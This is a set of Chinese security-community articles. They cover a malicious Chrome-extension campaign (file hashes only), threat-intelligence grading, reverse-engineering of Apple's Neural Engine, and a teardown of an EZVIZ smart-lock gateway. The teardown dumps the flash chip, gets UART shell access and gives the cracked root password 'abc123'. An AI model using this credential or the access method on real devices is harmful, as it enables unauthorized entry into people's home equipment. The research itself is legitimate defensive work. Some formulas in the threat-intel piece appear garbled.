包含恶意邮件或广告的跟踪域。这也说明了攻击者想要通过点击量或分发恶意邮件或广告进行谋利。
**
**
**Safari浏览器**
MD5 (AdobeFlashPlayerInstaller.dmg) = d8bf71b7b524077d2469d9a2524d6d79
MD5 (FlashPlayer.dmg) = cfc58f532b16395e873840b03f173733
MD5 (MPlay.dmg) = 05163f148a01eb28f252de9ce1bd6978
这些均为虚假的Adobe Flash更新，但受害者每次都会关闭不同的网站。为此，攻击者似乎轮流使用了一组域名。
**
**
**火狐浏览器（Mozilla Firefox）**
MD5 (VideoPlayerSetup_2368681540.exe) = 93df484b00f1a81aeb9ccfdcf2dce481
MD5 (VideoPlayerSetup_3106177604.exe) = de4f41ede202f85c370476b731fb36eb
“我感染了这个，我该怎么办？
目前，Google
Chrome安全小组已禁用所有恶意扩展程序，但是当攻击者使用恶意软件盗取了你的Facebook个人资料的同时，也盗取了你Facebook账号的访问令牌（access-token）。这个访问令牌可能使有时间限制的，但是它的访问权限非常之大。Facebook账号的访问令牌主要是用于安卓系统的Facebook软件。一旦获得了你的访问令牌，攻击者就可以访问用户的个人资料，不论你是否更改了密码、注销Facebook账户或是关闭了Facebook上的的平台设置。
我们目前正在与Facebook就这个问题进行探讨。但目前看来，受害者似乎并没有一个简单的方法废除被攻击者偷走的访问令牌。现在只能祈祷攻击者不要在令牌过期之前做任何事情。
我们强烈建议用户更新杀毒软件。
**
**
**结语**
攻击主要依赖现实的社交互动，动态用户内容和合法域名作为中间步骤。上述扩散机制的核心感染点是安装Chrome扩展程序。当你允许扩展过程控制浏览器活动时请格外注意。同时，也要弄清楚目前你的浏览器上运行了哪些扩展程序。如果你使用的是Chrome浏览器，可以在URL中输入chrome://extensions/，以获取正在运行的扩展程序列表。 | 社区文章 |
# 安全分析中的威胁情报（一）
##### 译文声明
本文是翻译文章，文章原作者 PI4NET，文章来源：PI4NET
原文地址：<https://zhuanlan.zhihu.com/p/68780251>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 背景
近两个月实在太忙，这一篇博客拖到现在。本来计划开一个安全分析的系列，但因为工作原因搁置了。端午去成都吃火锅，往返飞机上写出这篇《安全分析中的威胁情报》。作为安全分析系列文章的开篇。
## 0x01 何为威胁情报
我将威胁情报定义为：经过研判过的安全信息。
这里有三个实体：研判，安全信息，威胁情报。三者的关系为：
安全信息 + 研判 = 威胁情报
任何未经研判的安全信息，都不能称之为“威胁情报”。威胁情报用于辅助支持决策或者安全分析，未知来源和真实性的安全信息将影响决策的正确性和分析结果的准确性。
威胁情报是目标现在（以及过去）一段时间的状态描述；它受安全信息的数量、质量，以及研判过程合理性影响，使得威胁情报并不是百分百正确。
## 0x02 安全信息收集
安全分析依赖获取和使用数据的能力，所以安全分析首先要克服的第一个问题就是：“如何收集安全信息”。
之前写过一篇 [《小议安全分析生命周期》](https://zhuanlan.zhihu.com/p/51778277)
。其中表达了一个观点：安全分析的起点应该是“确定目标”。在此也适用，在安全信息收集计划前，应该明确目标和范围，制定的信息收集计划应包含“所要处理信息类别”，“信息研判可行的切入点”，“尽可能广泛的来源渠道”，以及“何时进行信息收集”。
针对信息本身，在收集时必须注意以下几点：
* 输入信息高清洁度，尽量避免无用的数据
* 信息的高可用
* 保证信息的高精度
* 信息源的覆盖面要没有疏漏
* 信息源必须可信
* 信息必须及时
讲了那么多信息收集的要求，说一下信息的来源：OSINT、封闭、机密。
* OSINT 是可公开获取的数据，是最常见的信息获取途径。其中包括，媒体，机构，开放博客，社交平台，会议论文，大厂公告等等。单反能通过互联网访问的信息，都属于OSINT 数据，该数据源通常采用爬虫，爬取网页、api、RSS或者邮件订阅。市面上也有很多基于 OSINT 数据的威胁情报平台。使用该来源的信息，通常面临信息清洁度、精度、覆盖面…信息收集需要注意的问题。因为开放意味着公共，陈杂，不准确，冗余…使用OSINT数据，必须要解决的时信息处理相关的问题。
* 封闭数据是为了特定方向收集的信息，这方面往往对公开访问进行限制。对应VT、riskiq、Recorded Future、微步在线……此来源的数据可能独家，也可能是基于公开情报二次开发。这样的信息，要比OSINT更有价值，但获取这样的数据需要一定的代价。
* 机密数据是通过特定的手段，隐蔽的手段收集的信息，这样的信息非常准确，高可用，高可信，高精度且及时。但是覆盖面很窄，仅能满足单个需求点。此方面的数据来源，以蜜罐为代表。
安全分析人员，要基于全源分析，而不是仅局限于易于获取的信息。不管什么方式，出发点都是获取到想要的信息，目标都是导出决策需要的高质量情报。从成本上看，开源数据收集成本要远远低于部署私密的资产；开源数据获取难度低，但是处理量极大，所以更合理的信息获取结构是，三者互补进行。
## 0x03 信息研判
在信息收集阶段，仅仅是构建信息获取的途径，针对的是来源，而不是信息本身。 对信息本身进行研判，才能将其转变成威胁情报。
信息研判是威胁情报生命周期中极为重要的一个环节。主流的研判方式：人肉去看或者跑一些机器学习的算法。
人的主观研判十分准确，既然是人，肯定有自己擅长的领域以及知识盲区，“人”对非擅长领域的信息是很难进行判断的；同时，人的精力是有限的，面对海量信息显得有些乏力。
为了解决人主观研判的弊端，有一些厂家，引入了机器学习来进行信息研判这个工作。不可否认，这是信息爆炸时代下的趋势。受限于当前机器学习发展的瓶颈，很难有一个算法可以全自动地进行信息研判，然后把准确率四个九的处理结果拍我脸上，直接告诉我这就是准确的威胁情报。这是不可能的。
威胁情报是要用来做决策，支持我们分析的。但凡达不到准确率99.99%的威胁情报，都不能直接用于实际生产。非完全可信的情况下，必须要有人介入才行。这也间接说明了，安全分析和安全运营的必要性。安全分析领域，人机协同在未来一段时间依旧是主流。
## 0x04 信息研判模型
就 OSINT 信息研判，讲一讲信息研判的具体方法。
研判过程三个基本原则：
* 不能有主观影响
* 必须要对信息源进行评估
* 信息要尽可能的靠近源头
许多人做研判又是NLP，又是建立词库，或者甚至监督/无监督机器学习直接怼，这些都没有到点子上。我不否认这些工作的必要性。但是思路多多少少有些歪。
所以，我认为信息研判的两个方面：
* 信息来源
* 信息本身
许多人对信息研判只关注信息本身，而忽略来“信息来源”这个维度。补上来源可靠性判断，对信息研判准确率会有一个较大的提升。
### 研判尺码
如果基于这两个维度上，做一些细颗粒的划分上，是不是更容易落地？再次给出一些评判的尺码：
信息来源：
* 完全可靠
* 真实性、完整性、可靠性、专业领域全部可信
* 历史记录中，该信息源无污点记录
* 通常可靠
* 真实性、完整性、可靠性、专业领域有个别问题（其中某项）
* 历史记录中，该信息源有个别污点记录
* 一般可靠
* 真实性、完整性、可靠性、专业领域有一些问题（其中两项）
* 历史记录中，该信息源有一些污点记录
* 未知
* 信息来源属性无法判断，且无历史信息记录
* 不可信
* 真实性、完整性、可靠性、专业领域方面有一定怀疑
* 历史记录中，该信息源有一些污点记录
* 一定不可信
* 真实性、完整性、可靠性、专业领域方面有明确质疑
* 历史记录中，该信息源有大量污点记录
信息本身：
* 质量极高
* 其他独立来源确认该信息可靠
* 该信息在我们关注的范围内
* 该信息符合逻辑
* 质量高
* 其他独立来源确认该信息可靠
* 该信息与我们关注的范围有一定偏差
* 该信息符合逻辑
* 质量一般
* 不能从其他独立来源确定可靠性，但符合逻辑
* 该信息在我们关注的范围内
* 未知
* 信息本身的可靠性，逻辑性和关注匹配度无法确定
* 质量低
* 不能从其他独立来源确定可靠性，但符合逻辑
* 该信息与我们关注的范围有一定偏差
* 没有价值
* 不能从其他独立来源确定可靠性，不符合逻辑
* 该信息与我们关注的范围有一定偏差
尺码标出来后可以以信息来源为Y轴，信息本身为X轴，未知状态为原点建立坐标系：
这样就可以将机器处理的信息分为三个等级：
* 有价值的的威胁情报
* 需要人工研判的威胁情报
* 垃圾信息
用白话说出来就是：信息来源可靠且信息本身质量高的安全信息是有价值价值的威胁情报。
### 价值描述
当然，威胁情报有三六九等，同时需要人研判的信息也有轻重缓急。其实是有方法对“价值”进行量化的。
虽然上面对尺码描述分为了6个等级，但人类语言在数字世界其实是以数字进行呈现的。标准是可以通过算法进行量化的。
威胁情报的价值可以通过所在坐标的模进行标识的：
一条被自动判定为威胁情报的A，它的价值为：
(x > 0 且 y > 0)
同理可得，映射B、C需要判定的优先级为：
(x > 0 | y > 0)
(x > 0 | y > 0)
通过这种方法，就可以把威胁情报的层次区分开了。这个只是限定在 OSINT 信息处理。不同种类的安全信息，虽然研判尺码不同，但是大体思路是一样的。
## 0x05 实践
讲了那么多方法论，为了帮助更好的理解，这里举一个例子。
场景就设定为：企业安全建设，收集漏洞威胁情报进行安全运营。
* 第一步：确定范围
* 首先要了解企业资产信息，明确哪些漏洞是需要关注的。
* 第二步：制订收集计划
* 确定信息来源，信息格式，信息研判的方式，信息收集的方式。
* 常见的漏洞信息来源有：CVE漏洞库，NVD漏洞库，CNVD漏洞库，媒体网站，邮件订阅，个人/组织博客，社交平台（Facebook，推特，微信群，朋友圈）等。
* 明确信息格式。一般漏洞库都有RSS订阅服务，可以直接获得结构化数据进行正则、字典匹配。而媒体网站，blog，社交平台的信息往往是非结构化的，这样的数据一般需要NLP进行处理。不同的信息种类，处理方式不同。明确信息格式是为了更好的处理数据。
* 不同信息来源的时效性，收集方式是不同。社交平台的时效性比较高，则信息爬取的时间间隔应当尽量小。而漏洞库则不必，一天爬一次足以。大多数情况都是通过爬虫采取主动的方式进行信息收集，也有个例，邮件订阅方面则需要被动的方式进行接收。
* 第三步：设置尺码
* 尺码的两个维度：来源信誉、信息质量
* 来源信誉需要积累，当然也可以进行预设，官方的公告网站、推特的大V、专业的安全媒体等，这些的权值可以大一点。
* 信息质量要根据不同来源进行匹配，例如厂商公告的产品我方是否关注，推文的热度如何，安全没媒体披露的漏洞是否在其他来源有相同的消息……
* 第四步：机器分析研判
* 如上一节所说，可以通过一些方法把威胁情报的层次区分开。
* 第五步：人工研判
* 机器研判是不可信的，它可以在一定范围内将高价值的信息区分出来。例如“微软发布了安全更新，而这次更新的产品我们有所使用”，这种情况肯定是映射到第一象限中的。但是很多情况，信息是映射到二四象限。特别是非结构来源的信息，比如某个不活跃在推特发了一个0day信息，这种信息来源可疑（指不活跃用户，而不是推特）的信息往往落到第四象限，这种情况就要接入人工研判。
* 第六步：处置
* 略
## 0x06 后记
先写到这里，本片只写了安全分析角度，威胁情报如何产出，并且提供了工程化的方案。
因为安全分析这个题太大，抽象出来的通用方法总觉着有写干瘪，希望结合“0x05 实践”的内容让读者有所收获。
ps：blog同步更新，[http://pi4net.com](https://link.zhihu.com/?target=http%3A//pi4net.com/)
需要翻墙。
如果对安全分析有感兴趣的点，欢迎评论。有可能作为下期博客内容。 | 社区文章 |
**作者：此彼@蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/CjWMFtPpl5YutgdP2LctKQ>**
在今年的Black Hat Asia上，蚂蚁安全实验室共入选了5个议题和3个工具。本期分享的是蚂蚁天穹实验室的议题《从算法到寄存器探索苹果神经网络引擎》。
# 1 引言
自 iPhone X
面世以来，越来越多的智能设备开始采用面容识别作为生物特征验证手段。然而对这些智能设备端的神经网络计算可靠性和安全性的研究少有报道，已有的技术文章也没有深入到代码操作硬件的实现层面。从iPhone
X上市已过去3年半，仍然没有公开的对面容ID实现层面的研究资料。
为了验证
iPhone面容识别的安全性，探索端设备生物特征识别的安全防护技术，更好的帮助移动设备的安全提升，本文将首次展示我对iPhone设备神经网络计算安全实现方式的一手研究成果，并分析其原理和可能存在的安全风险。
## 1.1 内容简介
本分享包含4个主要内容。
第一部分：逆向分析面容ID和安全神经网络引擎，并分析面容ID在软件层面上的实现方法。
第二部分：逆向找到“机器学习算法”转化为“寄存器操作”的过程中涉及所有组件。
第三部分：提取独立ANE编译器、开发ANE反汇编器。反汇编器可以解析内核驱动加载的内部神经网络文件。
第四部分：总结出6个可能的攻击面，介绍已经获得苹果致谢的bug。
## 1.2 名词解释
ANE: Apple Neural Engine 苹果神经网络引擎
AP: Application Processor 应用处理器
SEP: Secure Enclave Processor 安全隔区处理器
SEP APP: Application for SEP 运行在SEP中的应用程序
FaceID: 面容ID
# 2 面容ID和安全神经网络引擎
本章节着重介绍3个最受关心的逆向成果：1.面容ID的软件架构 2. 面容ID的神经网络参数解密 3. 安全神经网络引擎硬件如何被操作的。
## 2.1 FaceID的实现架构
上图用一些图框和箭头表示不同特权空间和交互方法。以人脸解锁为例，一些守护进程会通过XPC通知进程biometrickitd。biometrickitd通过IOKit调用内核中的驱动。内核驱动通过IOP调用协处理器SEP，SEPAPP
sprl会处理一些摄像头调用等行为，最终交给SEPAPP esipAppl去执行真正的神经网络计算。
由于SEP的固件和启动链有着严格的加密验签机制，过去很长的一段时间里我们完全不知道里面发生了什么。
## 2.2 SEP从AP加载加密神经网络参数并解密
操作系统启动后，FaceID会从文件系统加载名为DCNKernel.bin的文件。此文件可能是神经网络的训练好的权重，但被AES加密过的，解密用的iv和key被硬编码在SEP的固件里。且SEP会检查文件的SHA384数字摘要，摘要也是硬编码在代码中。
这就意味着SEP固件版本和系统版本需要基本一致，否则FaceID可能不可用。这也解释了 checkm8
越狱的手机如果系统降级但sep不降级导致FaceID不可用的原因。
## 2.3 FaceID在SEP中直接操作硬件寄存器
伪代码：
[(addr, value), …] = InterpreterLikeProduce(DmaBaseSetup, Setup, StaticCfg)
for (addr,value) in [(addr, value), …]
ffwCommon_writeReg32(addr, value)
左右滑动查看完整代码
FaceID直接操作硬件寄存器实现神经网络的计算过程。代码会从静态硬编码的数据中提取信息，计算出需要写入的寄存器地址和数值，然后调用函数写入。
本质上FaceID在SEP中实现了一种像解释器的程序，它将3种不同的设置信息转化为寄存器地址和需要向这些地址写入的数值。可惜这些寄存器地址和数值的含义我们是不知道的。寄存器被写入后，到底进行了哪些运算我们也是不知道的。
# 3 苹果神经网络引擎框架
在A11处理器上只有安全神经网络引擎，没有给AP开放接口使用。自A12处理器起，苹果将神经网络引擎分为，专门为SEP使用的“安全神经网络引擎”和为AP使用的“神经网络引擎”。
安全和非安全的神经网络引擎存在软硬件隔离。本章将展示逆向AP使用的“神经网络引擎”的成果。
## 3.1 开放给App使用的架构
苹果从A12芯片起开放了ANE给App使用。虽然苹果公司的白皮书上说Application Processor Neural Engine和Secure
Neural Engine有硬件级别的隔离，但是他们对寄存器的使用上可能有相似之处。
同样的，我用一些图框和箭头表示不同特权空间和交互方法。与Secure Neural
Engine不同的是App可以直接访问几个内核驱动接口。ANE的编译会在独立的隔离的进程里。且ANE的固件是不加密的。
## 3.2 ANE内部数据处理流程
上图中的方框代表数据，圆圈代表处理，描述了ANE框架内部将预训练模型加工成寄存器操作的完整过程。网络上有很多训练好的神经网络，但依赖不同的机器学习框架运行。苹果提供了coremltools将他们转化成统一的mlmodel格式。
coremlcompiler会将mlmodel文件编译成一些文件存放于特定文件夹下面，一般是mlmodelc为后缀名的文件夹。mlmodelc文件夹下面的一些文件会提供给ANE的与编译器处理，产生包含net.plist文件在内的另一批文件。将net.plist等文件提供给ANE编译器后，会编译出model.hwx文件。
model.hwx文件会被内核驱动加载。内核驱动会解析文件提取寄存器操作信息传递给ANE协处理器。最终由ANE协处理器操作寄存器来执行实际的神经网络运算。这处理流程比较长和复杂，其中很可能会出现bug。
## 3.3 内部处理流程所处空间的关系
为了方便研究安全风险，我把不同的过程按不同的特权空间进行划分。因为在安全问题的研究上我们更关心特权提升的问题，这些过程恰恰可能提供这样的机会。coremltools一般运行在开发者的主机电脑上，他会将其他机器学习框架的预训练好的数据转化为统一的mlmodel格式。
这一过程需要coremltools解析各种格式的文件，且这些文件可能是从不可信的渠道获得的，比如网络上公开的预训练数据。coremlcompiler过程既可以在开发者电脑上进行也可以在App中运行，在App中运行时coremlcompiler与App的进程权限一致，同样此时的App也可能加载的是不可信来源的mlmodel文件。
ANE预编译和完整编译过程发生在一个名为ANECompilerService的守护进程中，被编译的文件直接来自于App。对ANECompilerService进程来说App提供的文件也是不可信的，所以苹果也限制了ANECompilerService进程的权限。ANE内核驱动运行在内核空间，与前三个处理一样的是他们都运行在application
processor中。ANE固件则运行于独立的协处理器中。
## 3.4 ANE内核驱动
ANE内核驱动为App和aned守护进程提供了不同的客户端。App的客户端只有打开、关闭和ProgramSendRequest三个接口。
aned守护进程有使用驱动所有接口的权利。aned进程也负责把编译出的model.hwx文件传递给内核驱动解析加载，并把一些具柄传递给App。内核驱动会通过anecmdsend函数与ane固件交互。
## 3.5 ANE固件
Load Program:
CSneTMDrv::ParseTD(void const*,ulong,ANERegs_t *,ane_TD_HEADER_t *,bool)
Execute:
CSneTMDrv::AddTDList(void const*,ulong,ulong,ulong,uint,uint *,uint,ulong volatile*,_rtk_timer_call *,bool)
左右滑动查看完整代码
ane固件运行于独立的协处理器中，二进制代码可以在刷机包中找到，且没有被加密。这里主要介绍两个函数，一个是对model.hwx中可执行数据段的内部数据进行解析的函数，另一个是涉及实际操作寄存器进行神经网络运算的函数。在这里不分析固件的所有实现，因为这不是主要内容。
# 4 ANE工具集
为了方便各位研究，我把我写的工具集全部开源。工具开源地址：https://github.com/antgroup-arclab/ANETools
工具集包含了我编写的通过命令行直接调用苹果内部组件的工具、我开发的反汇编ANE寄存器操作的工具和一些实用脚本。
## 4.1 所有算法与mlmodel文件
为了把其他机器学习框架转化为统一的mlmodel文件，苹果开发了一种模型中间语言。此中间语言支持一百几十种元算法，所有其他机器学习框架中的算法必须都由元算法组合而成。你可直接使用这些元算法构造出自定义的机器学习算法。
## 4.2 编译mlmodel文件的coremlcompiler
开发机上的工具路径:
/Applications/Xcode.app/Contents/Developer/usr/bin/coremlc
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/coremlcompiler
设备上的相关类名:
CoreML
输入: *.mlmodel 文件
输出: *.mlmodelc/ 文件夹
左右滑动查看完整代码
coreml编译器不仅存在于主机上也存在于苹果设备中。开发App时如果包含静态mlmodel文件，Xcode会使用自带的coreml编译器，直接将编译出的文件夹包含到App文件中。
App也可以远程下载即时编译mlmodel文件。幻灯片中也展示了一般mlmodelc文件夹包含的文件，mlmodel文件也可以包含多个机器学习模型。
## 4.3 Espresso预编译coremlcompiler产出的文件
0x1b0009cb0 Foundation!-[NSDictionary(NSDictionary) writeToFile:atomically:]
0x1dd6316d0 Espresso!Espresso::ANECompilerEngine::compiler::dump_ir(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)
0x1dd5a78dc Espresso!espresso_dump_ir
0x1047f1c0c ANECompilerService!0x9c0c +[_ANEEspressoIRTranslator translateModelAt:key:outputPath:error:]
0x1047f2ac0 ANECompilerService!0xaac0 +[_ANECoreMLModelCompiler compileModelAt:csIdentity:key:optionsFilename:tempDirectory:outputURL:ok:error:]
左右滑动查看完整代码
如果此mlmodel文件需要通过ANE执行，App会跟aned守护进程通信，提供mlmodelc文件夹下面的文件信息。
如果文件没有被ANE编译器编译过，aned会唤起ANECompilerService进程开始编译。ANE实际编译之前主要会把mlmodelc文件夹下的神经网络描述文件预编译成plist格式。
## 4.4 ANE编译器
预编译完成后就会进行实际编译。实际编译过程也在ANECompilerService进程中。代码存在于ANECompiler模块，并以一个函数ANECCompile()做为入口。此函数会将神经网络描述文件、网络权重等文件编译成包含寄存器写入在内的model.hwx文件。
我编写的工具可以从命令行直接调用ANECCompile()函数，不经过ANECompilerService Daemon进程，方便测试研究。
ANE编译器拥有很多编译选项。可以参考ANETools的代码。需要注意的是，除了输入输出路径参数，至少还需要目标架构参数，才能正常编译。其中还有叫DebugMask的flag可以设置成整型最大值，编译后会产生很多中间文件。
## 4.5 ANE反汇编器
我通过逆向数据结构后独立编写了反汇编工具ANEDisassembler，用于反汇编model.hwx文件。我目前没有发现苹果有解析model.hwx文件的代码。
——ANE反汇编器的部分代码。
——ANE反汇编器的部分代码。
通过分析model.hwx文件，并在ANECompiler模块找到每个比特的含义，我编写的反汇编器ANEDisassembler工具会详细打印出寄存器的数值和对应的比特位，这样能更方便的猜比特位的具体作用。
目前ANETools只实现了对ANE v5指令集的支持，还没有兼容更高版本的ANE指令集。可能兼容的设备有：iPhone Xs, iPhone Xs Max
, iPhone XR ,iPad Air3 ,iPad mini5 ,iPad8。希望ANETools这个工具能对各位有所帮助。
# 5 攻击面分析与漏洞
本章包含了我总结的可能存在的6个攻击面，并且通过漏洞挖掘验证了部分攻击面是真实存在的。
## 5.1 可能的攻击面
我把ANE可能的攻击面分为6种，每一种攻击面都是一个特权空间到另一个特权空间的提升。
第一个可能的攻击面是从远程到本地电脑或远程到App。如之前所述，mlmodel文件不仅可以在开发者电脑上被xcode的coremlcompiler处理，也可以在iOS设备上被App处理。mlmodel文件可以来自网络或其他不可信的地方。
第二个可能的攻击面是从App到aned守护进程。App会将几乎所有跟ane相关的工作交给aned守护进程去做，他们交互过程中很可能有一些漏洞存在。
第三个可能的攻击面是App到ANE编译器。虽然App不直接与ANE编译器交互，但文件会直接由aned守护进程转交给ANE编译器。ANE编译器一定程度上对App是透明的。实现编译器代码安全是很困难的，比如针对浏览器javascript编译器的攻击总能被实现。一旦拿下ANE编译器的权限，就意味着可以篡改任意ANE计算结果了。
第四个可能的攻击面是App到内核驱动，这个攻击面现在看起来有些难，因为内核驱动现在只开放了3个接口给App。但在较低版本的系统上存在App可以访问所有ANE内核驱动接口的漏洞。
第五个可能的攻击面是从aned守护进程到内核驱动。这个攻击面需要攻击者已获取到aned守护进程的权限。aned守护进程有访问ane内核驱动的所有接口权限。这些接口并不暴露给App，所以很可能存在各种检查不严的情况。
第六个可能的攻击面有关ANE内核驱动和ANE固件。他们之间也存在复杂的交互。使用这个攻击面需要攻击者已取得内核权限或已取得ANE固件权限。
## 5.2 已获苹果承认的ANE相关漏洞
苹果已经在iOS14.5中修复了一个内核ANE内核驱动相关漏洞：https://support.apple.com/zh-cn/HT212317
另有3个ANE相关漏洞已被苹果接受还在修复中。
# 6 总结
苹果神经网络引擎已是相当复杂且庞大，本文的介绍集中在框架、流程和ANE指令分析，虽然还没有深入进入硬件，但把一些关键环节值得关注的要点做了总结，也获得了不错的产出。非常期待同行们能够进一步深入研究与分享，如果有什么问题也欢迎交流。
* * * | 社区文章 |
# 2022年网安上市公司上半年营收＆毛利＆净利润排行
##### 译文声明
本文是翻译文章，文章原作者 数说安全，文章来源：数说安全
原文地址：<https://mp.weixin.qq.com/s/xB76AOYSqghkXYd-p6t0Aw>
译文仅供参考，具体内容表达以及含义原文为准。
以上数据来源于各家上市公司半年报披露
！！本文不构成投资建议，按此操作，风险自负。
（2022.8.30 数说安全报道） | 社区文章 |
**作者：Lightal @ PwnMonkey Security Lab**
**原文链接：<https://bbs.pediy.com/thread-261679.htm>**
# 1．简介
海康威视作为国际大厂，旗下如摄像头等产品早就被无数人分析过了，通过google和github等可以找到很多分析记录和分析工具。萤石是海康威视的一个子品牌，相比于海康威视，萤石的绝大部分产品侧重于家用领域，本文将要分析的智能门锁和网关就是萤石的产品。
之前果加门锁的分析文章中，我们分析了门锁和相关的app，这篇文章我们打算对门锁配套的网关进行一些分析（真正原因是门锁让我们搞坏了，虽然海康又补发了一个，但型号没对上）。刚刚看了看萤石的网上商城，最新的联网门锁已经没有外置网关了，我们在2019年分析的智能门锁还是有外置网关的款式，图片如下：
图1-1 海康萤石智能门锁网关
门锁和网关在拿到手之后，就已经是配对状态，我们不需要进行额外的配对操作。海康萤石智能门锁有一个配套使用的app，该app对服务端有证书校验，所以直接抓包是行不通的，由于我们这里是网关分析，所以就不讨论app的工作了，在本专题的后续文章中，还会遇到类似的问题，到那时我们在解决app的事。
## 2． 通信分析
按照正常思路，肯定是先抓包看一下网关与服务器的通信内容。这里我们通过交换机端口监控的方法抓取海康萤石网关的通信内容（用电脑开启热点，然后网关连到电脑的热点上也可以实现抓包的目的），如下图：
图2-1 海康萤石网关通信内容
通过上图中的通信内容，我们大体上可以分析出一些内容：
A. 网关上电之后，与litedev.ys7.com进行通信。
B.
与litedev.ys7.com通信中，获取了另一个ip，即101.71.30.172。此后，终止了与litedev.ys7.com通信，并一直保持与101.71.30.172的tcp连接。
C. 通信内容看起来是加密的，通信内容中没有很多直接可见的明文。
既然抓包获取不了太多有用的信息，那么我们就要进一步研究网关固件是如何处理这些通信数据的。
# 3． 电路分析
这次并没有像之前的果加智能门锁那样顺利：萤石配套的app不能获取固件的下载地址，在海康和萤石的官网仔细翻找，同样没有查到固件的下载地址。那么接下来我们需要先对电路进行一些分析，以找到固件提取和调试的方法。
## 3.1 主要芯片分析
我们首先来看一看网关电路板上用哪些芯片，尤其注意主控MCU的型号，以及有没有外置的Flash芯片。电路板如下图所示：
图3-1 海康萤石门锁网关电路板
上图中，最明显的就是中间的MCU，仔细观察可以确认品牌和型号为MEDIATEK
MT7688AN，联发科的芯片，先下载一份芯片手册看一看，下载地址是：<http://labs.mediatek.com/zh-cn/chipset/MT7688>。
通过阅读芯片手册，可以找到关于Flash的部分内容：
图3-2 MT7688AN芯片关于Flash的内容
上图可以看到该芯片并没有内置Flash，而是使用SPI通信的外置Flash，那么我们继续在电路板上寻找Flash芯片。
在图2-2中，MCU的上方是Winbond W9751G6KB芯片，该芯片是DDR2
SDRAM存储器，简单说就是断电丢数据的内存，固件程序不可能在里面。在MCU的下方有两个芯片，分别是PCM5100A和GD25Q127CSIG芯片，
PCM5100A是个音频立体声DAC芯片，而GD25Q127CSIG芯片则是128M-bit的Flash芯片，我们要提取的固件文件应该就是在此Flash中。关于Flash中固件的提取方法，我们将在第4章中介绍。
## 3.2 电路接口分析
IoT设备在开发和测试过程中，都会使用JTAG、UART等接口用于辅助调试工作。在设备的发行版中，MCU的这些引脚是否与电路板上的接口接通就不一定了，这需要我们测试一下。
在MT7688AN的芯片手册中，我们可以看到该芯片UART0接口和UART1接口。其中UART0接口在30和31引脚，如下图：
图3-3 MT7688AN芯片UART0引脚位置
上图中，我们仅展示了UART0的位置，UART1可以自行查询芯片手册。如果海康萤石的网关没有屏蔽对UART的输入和输出，那么通过这些UART也许可以实现一些操作。通过万用表测量，可以确定芯片的UART是否被引出到了软排线接口上，如下图所示的。
图3-4 海康萤石网关软排线接口
为了接通软排线接口，我们需要购买一段20pin的软排线和转接板，淘宝可以买到，楼下手机店可能也有，软排线的尺寸间距我们在图3-4已经测量出来了。此外，我们还需要一个USB转TTL模块才能将UART口连接到电脑上，该模块用于调整USB电路和TTL电路的电平逻辑，软排线+转接板+USB转TTL模块的连接如下图所示。
图3-5 连接MCU的UART接口
我们在实际操作中，发现软排线的触点位置经常虚接，暂无法确定海康萤石的软排线接口是否需要特殊的软排线才能连接，但这样也勉强能用，后续我们会有更好的替代方法。
按照图3-5方式连接好之后，在电脑的“设备管理器”选项卡中就会出现一个COM口，可以使用xShell、SecureCRT或者sscom等串口调试工具来读取这个COM口上的通信数据，当使用xShell和SecureCRT的时候需要将连接方式选择为串行接口。
到此为止，如果操作无误，网关上电后，应该可以在串口调试工具中看到了类似下图的输出内容。
图3-6 串口输出内容
上图中的输出内容显然是网关上电之后的输出日志，待系统启动完成之后，我们可以试着输入一些内容，这时就会出现登陆嵌入式Linux系统的提示字符，但是登陆用户和登陆密码我们暂不知道。现在是时候去分析固件了。
# 4． 固件分析
## 4.1 固件提取
我们在3.1节提到固件应该存储在电路板的Flash芯片中，要读取Flash芯片，只需要将芯片连到编程器上即可。如果情况允许，烧录夹是最优选择，这样我们就不需要将芯片焊下来了。不巧的是，烧录夹有点粗，海康萤石的门锁网关设计的很紧凑，烧录夹夹不上去。所以我们只好用热风枪和镊子就可以把Flash吹下来了，如下图所示：
图4-1 热风枪吹取Flash芯片
如果没有热风枪，用电烙铁也是可以的，注意手别抖就好。然后将摘下来的芯片放在编程器上。支持读写GD25Q127CSIG芯片的编程器有很多种，我们这里选择一种较为实惠的MinPro100B，如下图：
图4-2 将Flash芯片放置于编程器上
将编程器连接到电脑上，使用编程器配套的软件，选择相应的Flash芯片型号后即可提取芯片内容，提取完成后可以将读出的内容保存成文件，并命名为OriginFirmware.bin。
## 4.2 固件结构分析
提取出固件之后，我们可以尝试用binwalk对它进行分析，这里，我们直接用-Me参数提取固件内容，其中M参数表示递归提取：
图4-3 binwalk提取固件内容
根据binwalk的分析结果，我们可以判断固件应该包含一个嵌入式Linux操作系统，智能网关的主要功能逻辑应该由文件系统中的可执行程序完成。待binwalk运行完毕之后，会生成几个文件夹，分别是2个squashfs文件系统，2个LZMA压缩的数据，以及1个jffs2文件系统，如下图所示：
图4-4 海康萤石网关提取内容
上图中，前2个文件夹即2个LZMA压缩的数据，解压之后会发现是cpio文件系统，binwalk会自动帮我们递归全部提取。
逐个浏览这些文件系统中的内容，可以得到以下信息：
A. jffs2文件系统保存着门锁和网关的相关信息，如id等；
B. 两个cpio文件系统中，其中一个应该是恢复出厂设置时的备份文件系统，另一个是当前正在使用的文件系统；
C. 两个squashfs文件系统中，一个保存的全部都是mp3文件，另一个保存着网关的主程序，该程序即为我们将要分析的主程序。
D. 在固件的cpio文件系统中，可以找到/etc/shadow文件，文件内容如下：
图4-5 文件系统中/etc/shadow文件
借助于彩虹表，就可以找到root用户的登陆密码为abc123。使用该用户名，就可以通过串口顺利登陆海康萤石的智能网关，并使用串口shell提供的各种功能了。
## 4.3 固件重打包
我们现在已经拿到了固件内容，但是在对主程序进行分析之前，我们还需要处理一个串口总是虚接的问题，调着程序唱着歌，突然就被麻匪劫了（划掉），串口断开连接了，也是一件很恼火的事情。
在海康萤石的网关固件中翻一翻，可以发现在/sbin目录中有telnetd程序，如果我们可以通过telnet连接智能网关，或许会稳定很多，如下图所示：
图4-6 智能网关中/sbin/telnetd程序
该程序是指向busybox的软链接，如果把解压缩出的固件内容拿到windows环境后，可能会导致/sbin目录中是空的。我们可以使用串口shell登陆设备，然后运行telnetd程序，但这就意味着每次设备重启之后，我们都要使用shell启动telnetd程序，这样操作很麻烦。
